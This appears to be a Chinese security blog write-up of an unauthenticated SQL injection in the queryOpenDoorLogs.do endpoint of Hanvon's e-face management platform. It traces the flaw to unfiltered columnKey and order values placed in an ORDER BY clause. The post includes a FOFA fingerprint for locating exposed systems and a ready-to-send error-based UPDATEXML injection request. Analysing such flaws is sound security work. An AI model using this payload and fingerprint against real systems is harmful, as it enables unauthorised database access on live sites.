汉王e脸通综合管理平台 queryOpenDoorLogs.do SQL注入漏洞


漏洞简介

汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件,集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块,广泛应用于政府、企业、监狱、学校、智慧社区等多个领域,实现无接触式快速通行,提升管理效率和安全性。其管理平台的 queryOpenDoorLogs.do 接口存在 SQL注入漏洞。攻击者可在无需认证的情况下,通过构造恶意请求参数注入恶意 SQL 语句,导致数据库信息泄露、数据篡改甚至系统权限提升,影响系统数据安全和完整性。

影响版本

V1.6.x

fofa语法

icon_hash="1380907357"

漏洞分析

直接看 OpenDoorLogController 里关于 queryOpenDoorLogs 的实现

@ResponseBody
@RequestMapping(
    value = {"/queryOpenDoorLogs.do"},
    method = {RequestMethod.POST}
)
public RequestJson queryOpenDoorLogs(@RequestParam(required = false,value = "page") Integer page, @RequestParam(required = false,value = "pageSize") Integer pageSize, @RequestParam(required = false,value = "name") String name, @RequestParam(required = false,value = "begin") String begin, @RequestParam(required = false,value = "end") String end, @RequestParam(required = false,value = "userId") Long userId, @RequestParam(required = false,value = "columnKey") String columnKey, @RequestParam(required = false,value = "order") String order) {
    RequestJson result = new RequestJson();

    try {
        DbPager pager = this.getPager(page, pageSize, columnKey, order);
        if (userId == null) {
            SessionalUser su = TheApp.getCurrentUser();
            userId = su.getId();
        }

        SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        if (begin == null || end == null) {
            Calendar cale = Calendar.getInstance();
            cale.add(2, 0);
            cale.set(5, 1);
            begin = sdf.format(cale.getTime());
            cale.add(2, 1);
            cale.set(5, 0);
            end = sdf.format(cale.getTime());
        }

        Date begin1 = sdf.parse(begin);
        Date end1 = sdf.parse(end);
        begin1 = WorkDateUtils.getStartOfDay(begin1);
        end1 = WorkDateUtils.getEndOfDay(end1);
        Timestamp beginTime = new Timestamp(begin1.getTime());
        Timestamp endTime = new Timestamp(end1.getTime());
        if (name != null && name.trim().length() > 0) {
            name.trim();
        }

        List<OpenDoorLogTpm> list = (List)this.openDoorLogAsm.queryOpenDoorLog(beginTime, endTime, name, userId, pager).getResult();

和 汉王e脸通综合管理平台 queryManyPeopleGroupList.do SQL注入漏洞 处理逻辑差不多,直接看对应的 mapper xml文件 OpenDoorLogDsm.xml

<select id="queryOpenDoorLog" resultType="openDoorLogTpm">
        <include refid="com.hanvon.iface.dsm.common.Common.pager_head"/>
        <choose>
            <when test="pager != null and pager.dbSorts != null and pager.dbSorts.size()>0">
                <foreach item="item" collection="pager.dbSorts" open="order by " separator=",">
                    ${item.sortField} ${item.sortMode}
                </foreach>
            </when>
            <otherwise>
                order by ol.ts_create desc
            </otherwise>
        </choose>

用户可控的 columnKey 和 order 参数未经任何过滤直接拼接到 SQL 语句的 ORDER BY 子句中,导致攻击者可构造恶意输入执行任意 SQL 命令,造成SQL注入漏洞。

漏洞复现

POST /manage/openDoorLog/queryOpenDoorLogs.do HTTP/1.1
Host: hanvon.mrxn.net
Content-Type: application/x-www-form-urlencoded

columnKey=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT (ELT(2920=2920,1)))),8357))&id=1&order=desc&page=1&pageSize=10&pointName=1&recoToken=SGUsqvF7cVS

成功利用报错注入获取到数据库版本号信息


手机扫码阅读

汉王e脸通综合管理平台 queryDoorInfoList.do SQL注入漏洞

汉王e脸通综合管理平台 queryFeedBackRecords.do SQL注入漏洞

评 论